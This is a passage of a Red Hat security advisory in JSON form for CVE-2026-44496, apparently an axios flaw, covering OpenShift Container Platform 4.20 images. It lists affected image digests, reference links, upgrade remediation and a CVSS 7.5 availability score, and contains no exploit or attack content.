"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "RHBZ#2487943",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2487943"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-44496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44496"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf",
"url": "https://github.com/axios/axios/security/advisories/GHSA-hfxv-24rg-xrqf"
}
],
"release_date": "2026-06-11T15:34:28.492000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:26:48+00:00",
"details": "For OpenShift Container Platform 4.20 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:5a2bec1f74236deb9519ab5232146c57d2afdb8f8db6773abbb50027150eb8ad\n\n (For s390x architecture)\n The image digest is sha256:168bf6fa86ad2dae55203e833352d47a1284c4db4f42a87bfe8555da97a4f5b3\n\n (For ppc64le architecture)\n The image digest is sha256:df8f0087646c952daae01c4f5ab625bdb95b317cfa790f6841309e8d131c6f89\n\n (For aarch64 architecture)\n The image digest is sha256:2e98640a8f567bb8aeab95719d0fea4048658e7edb093377d9ca08262d4e53f0\n\nAll OpenShift Container Platform 4.20 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.20/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27063"
},
{
"category": "workaround",
"details": "Mitigation for this issue is either not available or the currently available options do not meet the Red Hat Product Security criteria comprising ease of use and deployment, applicability to widespread installation base or stability.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:06833bd27e40dd3a770cac2b4bc943cbbcc005409df8bcb8da465c2f4cfe25e3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3e44064c6c2f51f5d59267cb3be081e525227b412f84cdf982239a7340c5a0b6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:89c39898050cee289a3d05bace758ad4551a9dcb4b55467dff1b70ef304e227a_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:7b5d98fb5c01c84f70fdd05e5ca4ea35f580eacf123fd70744dd207e90ac8ecc_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:dcb687dac46dfcb5190a00860a358b63304e344ee233605c69442ae784df50a7_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5571dc60fd35ac8fc45f1632859804ec7f6b261b131bd8a1f68ab4de49c79a08_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:638bf4691fd54f1854134c0a350a18956f2d4e33367775c35882bbffad8a085e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e7665d0ff02bafdf87f7cf26d8f9364504b6019a582381408cf5f6bbb8a6b2c0_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:ebf9d8e110fdd0eb92437bb9948019dd5caaaa13dff3bbdacf99caf98a11f701_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:49bd024d3d99fb1ad7bab883c7e5f660183c3146ca927b6d7ddceeeddfcba157_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:b66789383841ab46f31f467fa319ec01d202f7f69739ff4d251b4af0a6c9e6e6_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:c346d06d42db2adc95274fdad624981452835dde285b7f44bf72a8d362ce73bb_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-kube-apiserver-rhel9-operator@sha256:cb690ce1b790312c809730ce08830a3fd43ff06a3136c57256952cd7bbe13d55_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:624021ed9404e77d1417862044df4b04fa3fe3dc026b03ea54a2b87d4376d387_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:a1bd5af44e35c68359b7bc642c195a557a25e15f41124b5874fc1e51ee299bf3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:ee697ce277502f25541e9973db31e142af9c4419849a50d0a020c61afcc48c33_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:fdea6c63c595dc8b02cef15286aeb3ddc3bfe0193de45201d0cfb11a3bcd589f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:522a646576645bcbf84710a97c8f89c577d55a22f1d8d1c868135d1d8ecbe34c_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:81c0cf537924384b7ef75b604e5941fc51fe049641622c4b772852788da14097_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:89f57abd15554b50bd27019be5438490bd6207d18d457607603c511a054f1b7a_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-console-rhel9@sha256:9c0de5f2f719b24731c4a5aaa2e1b40d661e67a72fe0d3caac4271f9e9d5ead5_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1b57935b2c9a488ef21e6d66ad07c2e25a1737b0e0641319fbe7710a24e01e4b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:365ac58c2af582f184d3f62beaa48d15f3981e4d8da0cbbb8c93ec6986243b51_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:38eb1cac78fe34949a20dbc1cc949f4d2861d9db7ada1de0e5ed29279901f408_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:d3125750bd9da51e7a35ef16af331b8a2b3dc157b3fa471629fb616322e35fc9_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:1a8f96819a4c2b6c5d8d3d16e7f2d86cd98fec4d54aadc93d577114787713537_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:640edf3a82ee8b13796051e101e647b2378da417e14a1dff18ce501e4fd37bb3_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:c7a464e13822761ca8082145086084a7ee99dac69eaf2499ae3a216840866dac_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-hypershift-rhel9@sha256:f01be0e96604d69f4c4e9e4363da99fab82220b72e34accaedd7c62f3e510f2d_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:050d6a3c89ac2be7115949ac33afe56a690b5d56775be5f1f004902ba056da20_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:3170599804e9cf0f6ee3edf955f2d9b34a462a3cf1fb667a2db53ccc9498724c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:74ed6313652eb904df6f81151b9c829c01f7304c6872071a100a65ada5679978_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-insights-rhel9-operator@sha256:8f505384a22a337f1ac2c2b76051e4cee2a60b638cebe734816ff49bb1fb0b9f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7154ccb28376771fbbb8754ddd010672548c43fbec531e0cfdf3007a8efd882c_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:7c254637daf1b7564394c9a6425b9dec8a711e27ccfc659d5a55471c218b14cd_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:ad266469369890878063a4e0793c144bf73be0c963be65f154f3e8988c666fe2_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:fe01dc34d6ef1faf09be0e5b4fd7c9c0db4baafc8fdd77ab61d25167c80e8a53_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:c731759826eeaffcc98dcc86e890adc3dcbc3497761bbebe04265892e782963d_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:dcaeb66077a2e78128d7ddc7b03ec9501f65c14f068948a9fbb82245927f2d04_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:06a4c88d17ea03dbcaf83bfbf36d42ae4e288218477c11ba8bdbb45eb5b3ca56_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:387d5a03bce1e6b80a36582c2959e6c0569cbce7f49b5c29297c4eae1fa89a4f_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:3ddb9e724e529e60d4b0669d5630f661f416c4e762c60d25b70573b40ef131b3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:cbe78a9f8013acf7217363c5512cb61b16db26ade6a00b3ec9bad7b534ea6c97_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:0f70afc8fc44153005b719e423b9414a806f52a1f0a0eaf383214e7aeb0d1d43_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9e2ca3a4a43f24bb081c0d1a20350a9086e93dcbdc617b561fcc39369273b32e_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:a66f68ebb39a0474bc89255b465750e203dabacfdec098ec20c14b7adb7e26af_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:f811943f27e46556496a9833e20192a53b11d441660f8815b32f5afbc1eddd0e_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:1a7ac4b64621194572606055e495c964f0061619156b58db38e5e3ed0d63b359_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:7acd95b189ae4b09922c757de90a1855a91ec8d185144ef19027bd0ff1c9f522_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:8caabe7828c7c1df3b1edf2585a48055615ff16becb6149a8d558ce9ce717862_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:c37cf3696e1b4c67f30d7a42f324606c6814e61ddbe3e5520e0a7a0a0242ed6d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:0c87c80a5bccd9225c9d1faa85ea7d0deed337a138fadb0412af6590fd9f96b4_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6e40ba6ae462a707631a6f8496ae597f811f3eaef98bdfcc0d0dedb0dcdc1575_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:6ecb5789c21c2bf45a3312bd7116f847a3b15646009fed0031a6cf160306e965_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-openshift-apiserver-rhel9@sha256:7a55683ac150ed1a4ec96017f62099116b81d07a0b0277a6eaab06cc2064116b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:3b6e1dbf5de0caacb2cd524ca40193db89ec825360c0dfd8e1f3af197f4539dd_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:6a598579673f0a81e14f17fc463ee4f6bb3cfa937f281bd089b479b5155980d6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:ad1759daee6b18fa3267b578c75fb178730319d1cd9527a21fb9836ddc4facac_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-microshift-rhel9@sha256:babce324aa37ddf6db4514c1a697a4f2769775426fb59c635d2c8702e9952153_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:48b50cb476bad0b50177ddf4d801d8a953249f4c5a268d2822d16ed4845bf33f_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:590285997861e1233f792b5f371e9897086fd3b217a4840c5bfa971118472c94_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9c1401fe5364b8ba3a069ac69a16e60d09f54e1dc17f30bdd438933f60474b8f_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-ovn-kubernetes-rhel9@sha256:9f4ff8acdc663301d308156bb2c56d68379a95fa087bc71f41a699a8ed08eba9_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:20c651f23e57bce386239c12ad3e2a19aa3220ef5c89c2561cad7bd40476d4c0_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:3fa417f375c4d41175b700a1a44f7dbd60f58a9337b1202720696f84d347fda9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:44f8632e12b1a2e798c518cccff5aff1ebdfc1cdda8a4bb044ed01e322aa1f2c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:b081739ac1afa49e7a1eb8f73b76bd30241c056eb55ed06d2845002368571fb3_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:2f154bdf369c1e9b9981b9478399f8bb870aad53bd5f33420a74bfdfd942ae8d_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:5d44a3b19601304824c82cb302a575d2ffa8e7085d02abfaae925af1b2908eaf_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:8d50532844d79c853a38a59c62ad4e6ea253e5ca6d54a81791b38922053f9ddd_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:db6900b8ab7297ae4b098c821386069cba11b54e0211f726607a108b74969067_arm64"
]
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:3bbdf23c749d068f766d18fccd5e5ae23ff90a5565d8f5101b551113cfb6c123_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:979314a23724ebc8de0be49aa32b8f420179125c695ca48549f541e59337e1b2_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:98636cb3a8c474d6564ee277234bfa6f8bd4bc74a8a5327c4eb21b26c2c9d626_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/azure-kms-encryption-provider-rhel9@sha256:f7cbd75d0671200c3af39c481f36478676c328f47692c1f2c1b46429470eb9bf_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:3cb1ef218d08069307b9cb1013d1a3814567df8ec55f64ddd9b72f5790a03f3c_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:450a1c77d36771a98dfa96bb128a066192871becc7ff3edd5da3f9839de5b87b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:647e915e236daa81b0001b61dcfdbea5cb999a844ec0d52f7d0dd4e224cbcbb9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:bf4b64740a63a1f6e541d92128c9237fdd813a52536ed1273983946e3c215f7f_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:203ec72895a613490e467305fd2ad96e620d4ea8631b44117be4f7227cb3d162_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:86e58cc04993c9ebb62ff13f8c9e38fcb1dd1bbdd7f5474a8c6de3a73b628492_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:89275d5e3701e681b789e2c80377bdc124c617ccf1fea892fcd9342647ee4e13_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/network-tools-rhel9@sha256:8ec539591813dd64b6e220480649aceb0f20ac8dbaccf29f5852805fe2d653c6_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:06e3ee0cbdc2f1b3ad5e51bacf75c05cf7f156f8ab0ab451ae0d7849095c35a4_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:8dc3a7e099280b53633b6dc3bddcade1de7720e6b26689b99b13f146675c4f5b_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:e926f2b13e47bf18d2109a39fb2023f112df68ce206f797f60aabe688b203bde_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/oc-mirror-plugin-rhel9@sha256:ecd2f1b4154e0e1a82956378e620ff618383e341b7ad7571c4c1fbec55a2db5b_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:29d98fcb36f650c7bc94edf306894f4add6d8470dd75ef1b9d2f86a96f7eeefb_arm64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b3a9fee448a212907122556f9d2b6441122cd09f03fd85b953db0f06527cd841_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:b9a359fca4093efb9deaf581963244e67abfc7afc3ec6df558cc1525adaed085_ppc64le",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:e6d546338774b75c347f1c00f01897d2c18bcc02aae73801c888a1c0bc7159a9_s390x",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:fe589677a60e47f089add4a8662d7a5bb018d149bd40951450afcad9459d0868_amd64",
"Red Hat OpenShift Container Platform 4.20:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:0265e523cbb12746ce518597e1f2ae8dfed5a4f108410d74a284429511d7dd80_arm64",
